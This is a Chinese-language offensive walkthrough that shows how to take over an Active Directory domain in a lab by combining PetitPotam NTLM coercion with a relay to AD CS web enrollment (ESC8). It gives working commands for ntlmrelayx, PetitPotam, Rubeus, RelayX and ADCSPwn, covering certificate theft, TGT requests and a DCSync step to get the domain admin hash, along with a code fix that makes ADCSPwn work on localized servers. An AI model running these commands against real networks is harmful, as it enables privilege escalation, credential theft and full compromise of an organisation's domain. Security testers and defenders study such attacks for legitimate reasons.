从 0 到 DA:PetitPotam + AD CS Relay Attack

@harmj0y@tifkin_ 在 Black Hat USA 2021 中发表了 Certified Pre-Owned: Abusing Active Directory Certificate Services,披露了 AD CS(Active Directory Certificate Services, Active Directory 证书服务)中存在的一些漏洞攻击面及利用方法。其中一种默认的错误配置 ESC8 - NTLM 中继到 AD CS HTTP 端点,允许攻击者将用户/机器身份验证中继到 AD CS 服务器并获取用户/机器证书,获取证书后可以为用户/机器请求 TGT / TGS 票据,获取相应的权限在域内开展活动。

PetitPotam 是由 Gilles Lionel @topotam77 发现的一种新的 NTLM 中继攻击方式,其工作原理是强制 Windows 主机通过 MS-EFSRPC EfsRpcOpenFileRaw 函数向其他机器进行身份验证。

结合 PetitPotam 与 ESC8,能够实现从低权限域用户提升到域管理员权限,从而实现对整个域环境的控制。

测试环境

查找 CA

可以通过 Windows LOLBAS certutil.exe (-TCAInfo/-CA ...)在域中定位 AD CS 服务器:

Impacket

0. 在 Darwin 上安装支持 AD CS Relay Attack 的 impacket 包

git clone https://github.com/Tw1sm/impacket/
cd impacket
git switch ntlmrelayx-adcs-attack
python3 setup.py install

1. 在 Darwin 上准备 Relay 到 AD CS(S2008, 172.16.79.8) 上运行的 CA Web 注册角色服务

ntlmrelayx.py -t http://172.16.79.8/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

2. 在 Win10 上执行 PetitPotam,触发 PDC(172.16.79.2)向 Darwin(172.16.79.1)进行身份认证以 NTLM Relay

PetitPotam.exe 172.16.79.1 172.16.79.2

Darwin 上运行的 Ntlmrelay 将生成 CSR(Certificate Signing Request, 证书签名请求)并尝试滥用存在漏洞的 PKI 模板来生成证书:

3. 请求 2012DC$ TGT

在 Win10 上,通过 Rubeus 为 2012dc$ 计算机帐户请求 Kerberos TGT:

Rubeus.exe asktgt /outfile:kirbi /user:2012dc$ /ptt /certificate:MIIRXQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMI...

klist 查看当前登录会话缓存的 Kerberos 票证中存在 2012dc$ 的 TGT :

4. DCSync 获取 DA NTLM Hash

RelayX

RelayX 将几个比较好用的relay集成到了一起,提高了测试效率:

python relayx.py live.local/002:'LIVE@2021'@172.16.79.2 -r 172.16.79.1 -dc-ip 172.16.79.8 -m pki -t efs --template=DomainController

获取2012dc$ 机器账号证书后通过 Rubeus 进行后续攻击即可。

ADCSPwn

ADCSPwn 由 C# 编写,编译后方便通过 execute-assembly 内存加载运行,通过 PetitPotam NTLM Relay 到 AD CS 申请机器账户证书。此外,ADCSPwn 需要被触发进行身份认证的远程机器上开启 WebClient 服务(默认未安装,手动开启,可以参考 How to install/enable the WebClient (WebDAV) Service on Windows Server 2012 to open/edit SharePoint files

ADCSPwn 在申请CA证书时采用了轮询的方式遍历所有证书模板尝试申请,普通域成员机器使用证书模版 Machine,DC 使用证书模版 DomainController,ADCSPwn 判断证书模版是否可用时匹配响应包中的“Certificate Request Denied”,而在简体中文换进下应该是“证书申请被拒绝”,可以修改 ADCSPwn/RelayServer.cs 382 行 if (responseFromServer.Contains("Certificate Request Denied")) 中的 "Certificate Request Denied" 为 "locDenied"(证书申请被拒绝响应页面中的 HTML 元素 ID )来适配多语言环境。此问题已在 https://github.com/bats3c/ADCSPwn/pull/5 中更新解决。

execute-assembly /path/to/ADCSPwn.exe --adcs s2008.live.local --remote 2012dc.live.local --port 9001

获取2012dc$ 机器账号证书后通过 Rubeus 进行后续攻击即可。

- 参考 -:

  • https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
  • https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/
  • https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/
  • https://www.bussink.net/ad-cs-exploit-via-petitpotam-from-0-to-domain-domain/